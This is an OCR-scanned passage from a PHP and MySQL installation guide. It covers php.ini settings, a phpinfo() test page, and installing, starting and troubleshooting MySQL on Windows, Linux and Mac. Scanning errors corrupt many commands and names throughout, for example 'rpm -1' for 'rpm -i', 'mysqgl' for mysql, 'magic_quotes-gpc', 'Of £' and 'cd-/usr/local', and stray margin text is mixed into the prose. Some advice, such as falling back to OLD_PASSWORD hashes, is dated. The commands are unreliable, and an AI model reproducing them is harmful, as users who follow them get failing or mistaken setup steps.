This line tells Apache to look for PHP code in all files with a . php exten-
sion. You can specify any extension or series of extensions.

Start the Apache httpd server (if it isn’t running) or restart the
Apache httpd server (if it is running).

You can start or restart the server with a script that was installed

on your system during installation. This script might be apachectl

or httpd.apache, and might be located in /bin or /usr/local/
apache/bin. For example, you might be able to start the server by
typing apachectl start, restart it by using apachectl restart, or
stop it by using apachectl stop. Sometimes restarting isn’t sufficient;
you must stop the server first and then start it.

Book |
Chapter 3
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PHP uses settings in a file named php. ini to control some of its behavior.
PHP looks for php . ini when it begins and uses the settings that it finds.

If PHP can’t find the file, it uses a set of default settings. The default loca-
tion for the php . ini file is one of the following unless you change it during
installation:

4+ Windows: The system directory, depending on the Windows version:
on Windows 98/Me/XP/Vista/7/8, windows; on Windows NT/2000 (and
sometimes XP and Vista), winnt

4 Unix, Linux, and Mac: /usr/local/lib
If the php. ini file isn’t installed during installation, you need to install it
now. A configuration file with default settings, called php.ini-dist, is

included in the PHP distribution. Copy this file into the appropriate location,
such as the default locations just mentioned, changing its name to php. ini.

If you have a previous version of PHP installed (such as PHP 4.3), make a
backup copy of the php . ini file before you overwrite it with the php.ini
file for PHP 5 or 6. You can then see the settings you are currently using and
change the settings in the new php. ini file to match the current settings.

To configure PHP, follow these steps:

1. Open the php. ini file for editing.
2. Change the settings you want to change.

Steps 3, 4, and 5 mention some specific settings that you should always
change if you're using the specified environment.

3. Only if you're using PHP 5 or earlier, turn off magic quotes.
Look for the following line:
magic_quotes-gpc On
Change On to Of £.

4. Only if you’re using PHP 5 or 6 on Windows, activate mysqli or mysql
support.

See Chapter 4 of this minibook for instructions.

5. Only if you’re using PHP on Windows with the IIS web server, turn off
force redirect.

Find this line:

;cgi.force_redirect =1
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You need to remove the semicolon so that the setting is active, and also Book |
change the 1 to 0. After the changes, the line looks as follows: Chapter 3
cgi.force_redirect = 0

6. Only if you're using PHP 5 or later, set your local time zone.
Find the line:

;date.timezone =
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Remove the semicolon from the beginning of the line. Add the code for
your local time zone after the equal sign. For instance, the line might be

date.timezone = America/Los_Angeles

You can find a list of time zone codes at www.php .net/manual/en/
timezones.php.

7. Save the php.ini file and restart the web server.

In general, the remaining default settings allow PHP to run okay, but you
might need to edit some of these settings for specific reasons. We discuss
settings in the php . ini file throughout the book when we discuss a topic
that might require you to change settings.

Testing PHP

To test whether PHP is installed and working, follow these steps:

1. Find the directory in which your PHP programs need to be saved.

This directory and the subdirectories under it are your Document Root.
The default document root for Apache is htdocs in the directory where
Apache is installed. For IS, it’s Inetpub\wwwroot. In Linux, it might be
/var/www/html. The web space can be set to a different directory by
configuring the web server. If you're using a web hosting company, the
staff will supply the directory name.

2. Create the following file somewhere in your web space with the name
test.php.

<!doctype html>

<html>

<head>

<title>PHP Test</title>

</head>

<body>

<p>This is an HTML line</p>

<?php
echo "<p>This is a PHP line</p>";
phpinfo () ;

?>

</body>

</html>
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Testing PHP

The file must be saved in your document root in order for the web
server to find it.

Run the test.php file created in Step 2. That is, type the host name
of your web server into the browser address window, followed by the
name of the file (for example, type http://www.example.com/test.php).

If your web server, PHP, and the test . php file are on the same com-
puter that you're testing from, you can type http://localhost/test.php.

For the file to be processed by PHP, you need to access the file through
the web server — not by choosing Filem>Open from your web browser
menu.

The output from the test .php program is shown in Figure 3-1. The
output shows two lines, followed by a table. The table is long and shows
all the information associated with PHP on your system. It shows PHP
information, pathnames and filenames, variable values, and the status
of various options. The table is produced by the phpinfo () line in the
test script. Anytime that you have a question about the settings for PHP,
you can use the phpinfo () statement to display this table and check

a setting.

If you see only a blank page or only the first line and not the second line
and the table of settings, see the next section.
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Chapter 3

This section describes some common problems encountered with the instal-
lation of PHP. We don’t stop there, of course. We provide some solutions for
those problems, too.
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Unable to change PHP settings

If you change settings in your php . ini file but the changes don’t seem to
have the expected effect on PHP operations, one of two things is probably
the cause:

4+ You didn’t restart the web server. If that’s the case, just restart the web
server so that the changes will go into effect.

4 You might not be editing the php.ini file in the location where PHP
is reading it. You can check which php. ini file PHP is reading. You
might have more than one php . ini file or you might have it stored
in the wrong location. When you test PHP using the phpinfo () state-
ment, as shown in the earlier “Testing PHP” section, PHP outputs many
variable values and settings. One of the settings close to the top is
Configuration File Path, which shows the path to the location where PHP
is looking for the configuration file. If the path ends in a filename, that’s
the file PHP is using for its configurations. If the path ends in a directory
name, PHP is looking in the directory for the configuration file but can’t
find it, so PHP is using its default configurations.

Displays error message: Undefined function

You might see an error message stating that you called an undefined func-
tion. This message means that you're calling a function that PHP doesn’t
recognize. You might have misspelled the function name, or you might be
calling a function in an extension that isn’t activated.

Displays a blank page or HTML output only

When you look at a web page in your browser and a blank page displays or
only the HTML output displays, the web server isn’t sending the PHP code to
PHP for processing.

You might not be viewing the web page through the web server. You can’t
open the web page by selecting File>Open Page in your browser menu. You
must type the URL to the page, such as http://localhost/test.php, in the
browser address window.

You might not have your web server configured correctly for PHP. Check
the section “Configuring Your Web Server for PHP,” earlier in this chapter.
Double-check that the Apache directives are typed correctly and in the cor-
rect location. Restart the web server after making any changes.
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Chapter 4: Setting Up MySOL

In This Chapter

v+ Checking whether MySQL needs to be installed
v~ Installing MySQL on Windows, Mac, or Linux
v~ Testing MySQL

v Activating MySQL

v Troubleshooting the MySQL installation

Fle MySQL environment includes both the MySQL database software
and support programs that you can use to administer your MySQL data-
bases. The MySQL software consists of the MySQL database server, several
utility programs that assist in the administration of MySQL databases, and
some supporting software that the MySQL server needs (but you don’t need
to know about). The heart of MySQL is the MySQL server, which manages
the databases. When you interact with a database, you send messages with
requests to the database server, which responds by following the instruc-
tions in the requests — store data, get data, and so forth.

To use the MySQL databases, you need to use software that can communi-
cate with the MySQL server. When you install MySQL, the mysql client pro-
gram is automatically installed. The program allows you to administer your
MySQL databases.

In this chapter, we tell you what you need to know so that you can get
MySQL up and running, and we also include some info on testing the instal-
lation as well as doing some troubleshooting if you run into problems.

Checking the MySOL Installation

You might or might not need to install MySQL. MySQL isn’t provided with

the Windows operating system, but in many cases on other operating sys-
tems, MySQL is already installed. For instance, most recent Linux and Mac
distributions automatically install MySQL.
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Checking the MySOL Installation

Finding out if MySOL is running or installed

Before installing MySQL, be sure that you actually need to install it. It might
already be running on your computer, or it might be installed but not run-
ning. Here’s how to check whether MySQL is currently running:

4+ Windows: If MySQL is running, it will be running as a service. To check
this, choose Start=>Control Panel=>Administrative Tools=>Services and
scroll down the alphabetical list of services. If MySQL is installed as a
service, it appears in the list. If it’s currently running, its status displays
Started.

If you found MySQL in the service list, as described, but it isn’t started,
you can start it by highlighting MySQL in the service list and clicking
Start the Service in the left panel.

4+ Linux/Unix/Mac: At the command line, type the following:
ps —ax

The output should be a list of programs. Some operating systems (usu-
ally flavors of Unix) have different options for the ps command. If the
preceding doesn’t produce a list of programs that are running, type man
ps to see which options you need to use.

In the list of programs that appears, look for one called mysgld. If you
find it, MySQL is running.

Even if MySQL isn’t currently running, it might be installed but just not started.
Here’s how to check to see whether MySQL is installed on your computer:

4+ Windows: If you didn’t find MySQL in the list of current services, look
for a MySQL directory or files. You can search by choosing Start=
Search. The default installation directory is C:\Program Files\
MySQL\MySQL Server version number for recent versions or
C:\mysqgl for older versions.

4+ Linux/Unix/Mac: Type the following:
find / -name "mysqgl*"

If a directory named mysql is found, then it’s likely that MySQL has
been installed.

Starting MySOL

If you find MySQL on your computer but did not find it in the list of current
services (Windows) or running programs (Linux/Unix/Mac), you need to
start it.
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To start MySQL on Windows, follow these steps: Book |
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1. Open a Command Prompt window.

In Windows 7, choose Start=>All Programs=>Accessoriess>Command
Prompt. In Windows 8, type command from the Start screen to find the
Command Prompt.

2. Change to the folder where MySQL is installed.

For example, type c¢d C:\Program Files\MySQL\MySQL Server 5.0.
Your cursor is now located in the MySQL folder.
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3. Change to the bin subfolder by typing cd bin.
Your cursor is now located in the bin subfolder.
4. Start the MySQL Server by typing mysqld —install.

The MySQL server starts as a Windows service. You can check the instal-
lation by going to the service list, as described previously, and making
sure that MySQL now appears in the service list and its status is Started.

For Linux, chances are that the program will have a script to start it. In some
versions of Linux, you can start it by typing:

service mysqgld start

In other versions of Linux, you may be able to start it like this:
/etc/init.d/mysqgld start

or

/etc/rc.d/init.d/mysqgld start

Refer to your Linux documentation for information on how to start the pre-
installed MySQL for your distribution and version.

If MySQL isn’t installed on your computer, you need to download it and
install it from www.mysqgl . com. Instructions are provided in the remainder
of this chapter.

Obtaining MySQL
MySQL open source software is available in two editions:

4+ Community Server: A freely downloadable, open source edition of
MySQL. Anyone who can meet the requirements of the GPL (GNU Public
License) can use the software for free. If you're using MySQL as a data-
base on a website (the subject of this book), you can use MySQL for free,
even if you'’re making money with your website.
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4+ Enterprise Server: This is an enterprise-grade set of software and ser-
vices available for a monthly subscription fee.

MySQL is available with a commercial license for those who prefer it. If a
developer wants to use MySQL as part of a new software product and wants
to sell the new product, rather than release it for free under the GPL, the
developer needs to purchase a commercial license.

After deciding which edition you’d like to use, you can read some general
information about what’s available at the MySQL website and then download
the appropriate files for your operating system — or an all-in-one kit — as
described in the following text. You can also verify that the files you've
downloaded are secure.

Downloading from the MySOL website

You can obtain MySQL from the official MySQL website at www .mysqgl . com.
MySQL is available in binary files — machine files that are already compiled
for specific operating systems. If a binary file is available for your operat-
ing system, you should download the binary file. If no binary is available for
your operating system, you can download the source code and compile and
install MySQL.

To obtain MySQL, go to www .mysqgl . com, select the edition that’s appropri-
ate for your use (such as Community Server), choose your platform, and
click the Download link for the version you want.

Obtaining MySOL for Windows

The Windows binary file is available with an installer, which will install, con-
figure, and start MySQL. On the MySQL website download page for the ver-
sion you want, find the Windows section.

In the Windows section, click the download link beside the file you want to
download, typically an MSI installer.

Obtaining MySOL for Linux and Unix

Many Linux distributions come with MySQL already installed — or give you
the option to install MySQL when you install Linux. Many Linux systems,
such as Fedora, SuSE, and Ubuntu, include built-in utilities that download
and install MySQL for you, often the most recent version.

<P If you don’t already have MySQL, in many cases, installing MySQL provided
by the Linux distribution is an easier, more efficient choice than download-
ing and installing MySQL from the MySQL website. If you need to install
MySQL, such as if the MySQL on your system is an older version, check your
current Linux distribution’s website to see whether it offers an easy way to
install a current version of MySQL.
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If you can’t get the MySQL you need from your Linux distribution website, Book |
you can get it from the MySQL website. The download page provides several Chapter 4
files for various Linux distributions.

g
Obtaining MySOL for Mac =
Mac OS X 10.2 and later include MySQL. If you need to install a newer ver- =
sion of MySQL on your machine, the MySQL website provides a DMG file =
for installation on Mac OS X 10.6 or newer. See the later section, “Installing 4

2

MySQL on Mac from a DMG file,” for instructions.

In a few unusual situations, you might not be able to install MySQL from a
DMG file, such as if you need more or fewer features than the DMG provides.
You can download the source code and compile and install MySQL on your
Mac if necessary. Instructions are available at the MySQL website.

Obtaining all-in-one installation kits

You can obtain some kits that install PHP, MySQL, and Apache in one
procedure. These kits can greatly simplify the installation process. However,
the software provided might not include the features and extensions that
you need.

XAMPP is a popular all-in-one installation kit that contains Apache, PHP,
and MySQL. It also installs phpMyAdmin, a utility for managing your MySQL
databases.

XAMPP has stable versions available for Microsoft Windows. XAMPP is
available at www . apachefriends.org/en/xampp.html. Instructions for
installing XAMPP are provided in Chapter 5 in this minibook.

Verifying a downloaded file

The MySQL website provides methods to verify the software after you
download it, as a security precaution to make sure that the file hasn’t been
altered by bad guys. Basically, the same process is used to verify the file for
PHP, MySQL, and Apache. You can find instructions for verifying the file in
Chapter 3 of this minibook in the section about verifying a downloaded file.

Installing MySOL

Although MySQL runs on many platforms, we describe how to install it on
Windows, Linux, Unix, and Mac, which together account for the majority of
websites on the Internet. Be sure to read the instructions all the way through
before beginning the installation.
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Running the MySOL Setup Wizard on Windows

To set up MySQL on Windows, follow these steps:

1. Double-click the installer (.msi) file that you downloaded.

The opening screen shown in Figure 4-1 is displayed.

[2] MySOL Installer o | @ =

Welcome

The MySQL Instaler guides you through the installation and corfiguration of yvour
MySQL products. Run it from the Start Menu to perform maintenance tasks later.

Select one of the actions below:

Install MySOL Products
— Guide you through the installation and configuration of your
MySQL piroducts

( About MySQL
. . Leam more sbout MySQL products and better Understand how
Flgure 4-1: you can benefit the mos,
The opening
Resources
screen of E et mare informatian an how ta install MySQL and configurs
£ rum eFfiiently on your machine.
the MySQL
Setup
Wiza I‘d . for s sFflistes, Al ghts reserved, Ors

ORACLE

ther names may be trademarks of

2. Click Install MySQL Products.

You see a screen to accept the license agreement. After reading its
terms, if you agree, select [ Accept the License Terms and click Next.

3. Select Execute.

Updates will be downloaded. On the Choosing a Setup Type tab, select
Full, as shown in Figure 4-2.

4. Click Next.

A requirements check may be performed; if so, click Execute. The pre-
requisites will be installed, if necessary. Click Next as appropriate to
install the prerequisites. The Installation Progress screen will be shown.

5. Click Execute.

The installation progress will be shown for each component and then
the configuration section will begin.

6. In the Configuration Overview dialog, click Next to begin the configu-
ration process.
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7. Choose Developer Machine from the MySQL Server Configuration
dialog and click Next.
8. On the MySQL Server Configuration dialog, enter the password that
9
you’ll use for root or administrator access and click Next.
9. On the Configuration Overview dialog, click Next to install the
samples.
10. When the samples have been installed, click Next.
t
11. On the Installation Complete dialog, click Finish.
Installing MySOL on Linux from an RPM file
You can install MySQL on Linux using RPM. Although RPM stands for Red
Hat Package Manager, RPM is available on many flavors of Linux, not just
Red Hat.
<P However, prior to installing the RPM from MySQL you should see if your

distribution has MySQL already packaged. Using the packaged version of
MySQL is almost always preferable and is almost always easier to both
install and maintain later.

To install MySQL on Linux from an RPM file provided on the MySQL website,
follow these steps:

1. Change to the directory where you saved the downloaded files.

For instance, type cd /usr/src/mysql.
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One file is named My SQIL-server-, followed by the version number,
followed by .1386 . rpm. The second file has the same name with client,
instead of server, in the name.

. Install the RPM by entering this command:

rpm -1 listofpackages
For instance, the command might be

rpm -1 MySQL-server-5.0.35-0.i386.rpm MySQL-
client-5.0.35-0.1386.rpm

This command installs the MySQL packages. It sets the MySQL account
and group name that you need and creates the data directory at /var/
lib/mysqgl. It also starts the MySQL server and creates the appropri-
ate entries in /etc/rc.d so that MySQL starts automatically whenever
your computer starts.

You need to be using an account that has permissions to successfully
run the rpm command, such as a root account.

3. To test that MySQL is running okay, type this:

bin/mysgladmin --version

You should see the version number of your MySQL server.

Installing MySOL on Mac from a DMG file

You can install MySQL using a Mac OS X 10.2 (Jaguar) or later PKG binary
package downloaded from the MySQL website at www.mysqgl . com. If your
operating system is earlier than OS X 10.2, you can’t use this package; you
will need to download a tarball (a file that is a container for many files and
subdirectories) and install MySQL from source code, as described in the
next section.

1. Create a user and a group named mysql for MySQL to run under.

In most newer Mac versions of OS X, this user and group already exist.

. Change to the directory where you downloaded MySQL — for

instance, /usr/local.

You see a package named mysqgl-, followed by the version number and
the OS number and dmg, such as mysgl- 5.0.37-0sx10.4-powerpc.
dmg. If the downloaded file doesn’t have the extension .dmg, change the
filename to give it the . dmg extension.

3. Mount the disk image by double-clicking its icon in the Finder.
4. Double-click the package icon to install the MySQL PKG.


http://www.mysql.com/
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The package installer runs and installs the package. It installs MySQL in
the directory /usr/local /mysqgl-, followed by the version number. It
also installs a symbolic link, /usr/local/mysql/, pointing to the direc-
tory where MySQL is installed. It initializes the database by running the
script mysqgl_install_db, which creates a MySQL account called root.

5. If necessary, change the owner of the mysql directory.

The directory where MySQL is installed (for example, /usr/local/
mysqgl-5.0.37) should be owned by root. The data directory (such as
/usr/local/mysgl-5.0.37/data) should be owned by the account
mysql. Both directories should belong to the group mysql. If the user
and group aren’t correct, change them with the following commands:

sudo chown -R root /usr/local/mysgl-5.0.37
sudo chown -R mysgl /usr/local/mysgl-5.0.37/data
sudo chown -R root /usr/local/mysgl-5.0.37/bin

6. Install the MySQL Startup Item.

To have your server start every time the computer starts, you need to
install the MySQL Startup Item, which is included in the installation disk
image in a separate installation package. To install the Startup Item,
double-click the MySQLStartupltem.pkg icon.

Installing MySOL from source files

Before you decide to install MySQL from source files, check for RPMs or
binary files for your operating system. MySQL RPMs and binary files are pre-
compiled, ready-to-install packages for installing MySQL and are convenient
and reliable.

You can install MySQL by compiling the source files and installing the com-
piled programs. This process sounds technical and daunting, but it isn’t.
However, read all the way through the following steps before you begin the
installation procedure.

To install MySQL from source code, follow these steps:
1. Create a user and group ID for MySQL to run under by using the fol-

lowing commands:

groupadd mysqgl
useradd -g mysgl mysqgl

The syntax for the commands might differ slightly on different versions
of Unix, or they might be called addgroup and adduser.

Note: You must be using an account authorized to add users and groups.

Note: Some recent Linux distributions and Macs have a mysql account
already created.

Book |

(=]
=
1)
=
=3
@
-
E-]

T0SAn dn Bumeg



64

Installing MySOL

2.

Change to the directory where you downloaded the source tarball —
for instance, cd-/usr/local.

You see a file named mysgl -, followed by the version number and
.tar.gz — for instance, mysqgl-5.0.35. tar.gz. This file is a tarball.

Unpack the tarball by typing
gunzip -c filename | tar -xvf -
For example:
gunzip -c¢ mysqgl-5.0.35.tar.gz | tar -xvf -

You see a new directory named mysql-version— for instance,
mysqgl-5.0.35 — which contains many files and subdirectories. You
must be using an account that is allowed to create files in /usr/local.

Change to the new directory.
For instance, you might type cd mysql-5.0.35.
Type the following:

./configure --prefix=/usr/local/mysqgl

You see several lines of output. The output will tell you when
configure has finished. This might take some time.

Type make.

You see many lines of output. The output will tell you when make has
finished. make might run for some time.

Type make install.

On a Mac, type sudo make install.

make install finishes quickly.

Note: You might need to run this command as root.

Type scripts/mysql_install_db.

This command runs a script that initializes your MySQL databases.

Make sure that the ownership and group membership of your MySQL
directories are correct. Set the ownership with these commands:

chown -R root /usr/local/mysqgl
chown -R mysgl /usr/local/mysqgl/data
chgrp -R mysqgl /usr/local/mysgl

These commands make root the owner of all the MySQL directories
except data and make mysql the owner of data. All MySQL directories
belong to group mysql.



Configuring MySOL 05

10. Start the MySQL server using the following commands: Book |
On a Mac:

cd /usr/local/mysgl
sudo ./bin/mysqgld_safe

(=]
=
1)
=
=3
@
-
E-]

If necessary, enter your password. Press Ctrl+Z, and then type:
bg
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Finally, press Ctrl+D or type exit.
On Linux/Unix:

cd /usr/local/mysql
bin/mysqgld_safe --user=mysqgl &

11. Set up your computer so that MySQL starts automatically when your
machine starts by copying the file mysql . server from /usr/local/
mysql/support-£files to the location where your system has its
startup files.

Configuring MySOL

MySQL reads a configuration file when it starts up. If you use the defaults or
an installer, you probably don’t need to add anything to the configuration
file. However, if you install MySQL in a nonstandard location or want the
databases to be stored somewhere other than the default, you might need

to edit the configuration file. The configuration file is named my . ini or

my .cnf. It’s located in your system directory (such as Windows or Winnt) if
you're using Windows and in /etc on Linux, Unix, and Mac. The file contains
several sections and commands. The following commands in the mysgld
section sometimes need to be changed:

[mysqgld]

# The TCP/IP Port the MySQL Server will listen on
port=3306

#Path to installation directory. All paths are
# usually resolved relative to this.
basedir="C:/Program Files/MySQL/MySQL Server 5.0/"

#Path to the database root
datadir="C:/Program Files/MySQL/MySQL Server 5.0/Data/"

The # at the beginning of the line makes the line into a comment. The
basedir line tells the MySQL server where MySQL is installed. The
datadir line tells the server where the databases are located. You can
change the port number to tell the server to listen for database queries
on a different port.
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Starting and Stopping the MySOL Server

If you installed MySQL on Windows with the wizards, on Linux with an RPM,
or on a Mac with a PKG file, the MySQL server was started during instal-
lation and set up so that it starts automatically whenever your computer
boots. However, you might sometimes need to stop or start the server. For
instance, if you upgrade MySQL, you must shut down the server before start-
ing the upgrade. Instructions for starting and stopping the MySQL server are
provided in this section.

If you installed MySQL from source code, you need to start the MySQL
server manually and set it up so that it starts automatically when your com-
puter boots. The instructions for starting the server and setting it up to start
at boot up are included in the “Installing MySQL from source files” section,
earlier in this chapter.

Controlling the server on Windows

If you're using Windows, MySQL runs as a service. (MySQL is installed as a
service when you configure it). You can check whether MySQL is installed
as a service, as described in the section, “Checking the MySQL Installation,”
earlier in this chapter. Starting and stopping the service is described in the
following sections. You can also start and stop the server manually by using
commands set up when MySQL is installed.

If you're using Windows 98/Me, you can start and stop the server from the
command line in a Command Prompt window. Starting and stopping the
server on Windows is described in the following sections.

Starting or stopping on Window's
To stop or start the MySQL server, do the following:

1. Choose Start~>Control Panel->Administrative Tools=>Services.
A list of all current services appears.

2. Scroll down the alphabetical listing and click the MySQL service you
want to stop or start.

Stop and Start links appear to the left of the service name.
3. Click Stop or Start.
If you don’t find the MySQL server in the list, you can set it up as a service

using the Configuration Wizard, described earlier in this chapter in the
“Running the MySQL Setup Wizard on Windows” section.
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Performing a manual shutdown

Sometimes you might have difficulty shutting down the server. You can shut
the server down manually as follows:

1. Open a Command Prompt (perhaps called DOS) window by choosing
Start~>Programs-Accessories=>Command Prompt.

2. Change to the bin directory in the directory where MySQL is installed.

For instance, you might type cd c:\Program Files\MySQL\MySQL
Server 5.0\bin.

3. Type mysqgladmin -u root -p shutdown.

In this command, the account is root. The -p means password, so you
will be prompted to type a password. If the account you specify doesn’t
require a password, leave out the -p.

Controlling the MySOL server on Linux and Mac

When MySQL is installed on Linux, Unix, or Mac, a script is sometimes
installed that you can use to start and stop the server, with one of the follow-
ing commands:

mysqgl.server start
mysqgl.server stop
mysqgl_server restart

If those commands don’t work, you can try these commands, which work on
newer versions of Red Hat and other distributions of Linux:

service mysgld start
service mysgld stop
service mysgld restart

Finally, some versions of Debian or Ubuntu can also have MySQL started
using these commands:

/etc/init.d/mysgl stop
/etc/init.d/mysqgl start

You can also stop the MySQL server with the mysgladmin utility that is
installed when MySQL is installed. Change to the bin subdirectory in the
directory where MySQL is installed and type

mysgladmin -u root -p shutdown

The -p causes mysgladmin to prompt you for a password. If the account
doesn’t require a password, don’t include -p.

Book |

(=]
=
1)
=
=3
@
-
E-]

T0SAn dn Bumeg



08  Testing MysoL

Testing MySOL

You can test whether MySQL is running by entering the following commands
at the command line:
1. Change to the directory where MySQL is installed.
For instance, type cd c:\program files\mysql\mysql server 5.0.

Note: In Windows, open a command prompt window to provide a place
where you can type the command.

2. Change to the bin subdirectory (cd bin).
3. Type mysqladmin version.

Output providing information on the MySQL version displays on the
screen.

You can further test that MySQL is ready to go by connecting to the MySQL

server from the mysql client. When MySQL is installed, a simple, text-based

program called mysql is also installed. Because this program connects with

a server, it’s called a client. This program connects to the MySQL server and
exchanges messages with the server. The program is located in the bin sub-
directory in the directory where MySQL is installed.

To test that the MySQL server is running and accepting communication, per-
form the following steps:
1. Start the client.

In Unix and Linux, type the path/filename (for example, /usr/local/
mysql/bin/mysqgl).

In Windows, open a command prompt window and then type the path\
filename (for example, c: \Program Files\MySQL\MySQL Server
5.0\bin\mysql).

This command starts the client if you don’t need to use an account name
or a password. If you need to enter an account name or a password or
both, use the following parameters:

® -u user: user is your MySQL account name.

e -—p: This parameter prompts you for the password for your MySQL
account.

For instance, if you're in the directory where the mysqgl client is located,
the command might look like this: mysqgql -u root -p.

Press Enter after typing the command.
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2. Enter your password when prompted for it. Book |
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The mysql client starts, and you see something similar to this:

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 459 to server version: 5.0.15
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>

If the MySQL server isn’t running correctly, an error message will dis-
play instead of the welcome message.
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3. Exit the client program by typing quit.

Troubleshooting MySOL

Some of the more common MySQL installation problems and solutions are
described in this section.

Displays ervor message: Access denied

When you attempt to access your MySQL server, an error message similar to
the following is displayed:

Access denied for user 'root'@'localhost' (using password: YES)

The error message means that MySQL did not recognize the account name
and password. The message gives as much information as possible. In this
case, the message shows that access was attempted from localhost using
the account name root and using a password. If you accessed using a blank
password, the message would show using password: NO. Either MySQL
didn’t recognize the account name, the account name isn’t allowed to access
from this host, or the password is incorrect.

Displays error message: Client does

not support authentication protocol

MySQL passwords are stored in a table in the mysql database. When MySQL
was updated to version 4.1, the password encryption was changed, making the
passwords more secure. However, older MySQL clients don’t under-stand the
new password encryption, and they display an error similar to the following:

Client does not support authentication protocol requested by
server; consider upgrading MySQL client

In particular, using the mysql client with MySQL 4.1 or later sometimes
results in this problem. The best solution is to upgrade to PHP 5 and use the
mysqli functions. If you can’t upgrade for some reason, you need to use a
function called OLD_PASSWORD with the SET PASSWORD command to set the
password for any accounts that are causing problems. You might use a com-
mand similar to the following:
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SET PASSWORD FOR 'some_user'@'some_host' = OLD_
PASSWORD ( 'newpwd ') ;

Setting passwords is described in detail in Book V, Chapter 2.

Displays error message: Can’t connect to . . .

An error message 2003, as shown here, generally means that the MySQL
server isn’t running:

(2003): Can't connect to MySQL server on 'localhost'
To correct this problem, start the server as follows:

4 Windows: Choose Start=>Control Panel=>Administrative Tools=>Services.
Find the MySQL service and click Start.

4+ Linux/Mac: Type mysql.server start. You might need to be in the direc-
tory where the mysql . server script resides.

MySOL error log

MySQL writes messages to a log file when it starts or stops. It also writes a
message when an error occurs. If MySQL stops running unexpectedly, you
should always look in the error log for clues.

The following are some messages you might find in the error log:

070415 17:17:01 InnoDB: Started; log sequence number 0 189675
070415 18:01:05 InnoDB: Starting shutdown

The error logs are stored in a subdirectory named data in the directory
where MySQL is installed. The error log has the . err file extension.

Though many times the errors will tell you exactly what the problem is, if
you encounter an error from the log, you can check the MySQL reference
manual at https://dev.mysgl.com/doc/refman/5.5/en/error-
handling.html for further information.

The MySOL Administration Program

MySQL provides a program for managing MySQL databases called MySQL
Workbench. This program isn’t required for your MySQL work environment,
but it provides features that help you manage your databases. This program
runs on Windows, Linux, and the Mac OS but is used primarily on Windows
environments.


https://dev.mysql.com/doc/refman/5.5/en/error-handling.html
https://dev.mysql.com/doc/refman/5.5/en/error-handling.html
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Activating MySQL Support Book|

The basic PHP software consists of a core set of functionality and optional
extensions that provide additional functionality. MySQL support is provided
by extensions. In PHP 4, MySQL support is provided by default, but begin-
ning with PHP 5.0, you must activate MySQL support before PHP can interact
with MySQL databases. (For more information about connecting MySQL and
PHPs, see Book V.)
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PHP provides two extensions for MySQL support: the mysql extension and
the mysqli (MySQL Improved) extension. Which extension you need to acti-
vate depends on which versions of PHP and MySQL you're using.

4+ The mysql extension, available with PHP 4, 5, and 6, provides functions
for interacting with MySQL version 4.0 and earlier.

4+ The mysqli extension, added in PHP 5, provides functions for interact-
ing with MySQL version 4.1 and later. You can also use the mysql func-
tions with the later versions of MySQL, but they can’t access some of the
new features added in the later versions of MySQL.

Activating MySOL support on Windows

You activate MySQL by configuring extension lines in the php. ini file, after
PHP is installed. In addition, you must place the files that the extension
needs in a location where PHP can find the files.

To configure PHP for MySQL support, perform the following steps:

1. Open the php. ini file for editing.
2. Find the list of extensions.

3. Find the line for the MySQL extension (mysql or mysqli, as discussed
previously) that you want to use, such as

;extension=php_mysqgli.dll

4. Remove the semicolon at the beginning of the line.

If a line doesn’t exist for the MySQL extension that you want to use, add
the line.

Activating MySOL support on Linux and the Mac 0S

MySQL support is activated during PHP installation on Linux and Mac with
installation options. The installation options to activate MySQL must be
used during Step 4 of the installation (in Chapter 3 of this minibook) to acti-
vate MySQL support. MySQL support can’t be added later, after PHP is com-
piled and installed.
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Figure 4-3:
MySQL
settings.

Activating MySOL Support

Use one of the following installation options:

--with-mysgli=DIR
--with-mysgl=DIR

DIR is the path to the appropriate MySQL directory. When using with-
mysqgli, use the path to the file named mysgl_config. When using with-
mysql, use the path to the directory where mysql is installed, such as:

--with-mysgl=/user/local/mysqgl

On Debian and Ubuntu, PHP and MySQL are included with their own pack-
age, which is called php5-mysql on Debian.

Checking MySOL support

To check that MySQL is activated, run the test.php script as described in
the section “Testing PHP,” in Chapter 3 of this minibook. The output should
include a section showing MySQL settings, as shown in Figure 4-3. If a MySQL
section doesn’t appear in the output, see the next section, “Troubleshooting
PHP and MySQL.”
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Troubleshooting PHP and MySOL Boak |

This section looks at some common errors encountered when trying to con-
nect PHP and MySQL to each other, along with some solutions.
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Displays error message: Undefined function

You might see an error message complaining of a mysql function, similar to
the following:
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Fatal error: Call to undefined function mysgli_connect ()

This means that MySQL support isn’t activated for the mysqli functions.
Either you didn’t activate any MySQL support or you activated the mysql
extension, rather than the mysqli function.

Windows

If MySQL support isn’t activated, either the extension line in php. ini is not
activated or PHP cannot find the necessary files. Here’s what you can do
about it:

4 Remove the semicolon. Check the extension line in php . ini to be sure
the semicolon is removed from the beginning of the mysqli extension
line.

4+ Restart or stop and start the web server. If php. ini looks correct, you
might have forgotten to restart the web server after making the change.
You can also try stopping the web server completely and then starting
it, rather than restarting it.

4 Check the php.ini file location. You might be editing the wrong php.
ini file. Make sure the php. ini file you're editing is in the location
where PHP is looking for it, as shown in the output from phpinfo ().

4+ Check your path. Check that the directory where php_mysqgl.d11 and
libmysqgl.dll are located is in your system path. You can check your
path in the output from phpinfo (). The Environment section toward
the end of the output shows the path. However, the path shown is
not the path that’s currently in effect unless you restarted the system
after changing the path. When you change the path, the new path is
displayed, but it doesn’t actually become active until you restart the
system.

Linux or Mac

If you see the Undefined Function error message on Linux or Mac, you did
not activate a mysql extension when you installed PHP. When installing PHP
5 or 6, you must use one of the MySQL options at compile time.
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MySOL functions not activated (Windows)

When you look at the output from phpinfo (), you might not see a section
for the mysql or mysqli extension if you're having problems with MySQL.
However, in your php. ini file, one or both of the extensions are activated.
Some possible causes are

4+ You didn’t restart your server after changing your settings in php.ini.

4+ You're editing the wrong php.ini file. Check the phpinfo () output
for the location of the file that PHP is reading the settings from.

4+ The necessary .d11 files are not in a directory that is specified in
your system path.

4+ The MySQL .d11 files that PHP is reading are for a different version
of PHP. Sometimes when you update PHP, you don’t replace the .d11
files with the new .d11 files.

For instance, suppose you're running PHP 5.0 and the php_mysqli.

dl1 file is located in ¢ : \windows\system32. You upgrade to PHP

6.0. You copy the .d11 file from \ext to the main PHP directory and
add c: \php to the end of your system path. However, you forget to
remove the old .d11 file from its current location. When PHP starts,

it encounters the old .d11 file first, because the system32 directory is
first in the system path, and PHP tries to use the old file. Because it can’t
use the old file, PHP doesn’t activate the mysqli extension. This can be
extremely confusing, speaking from painful experience.
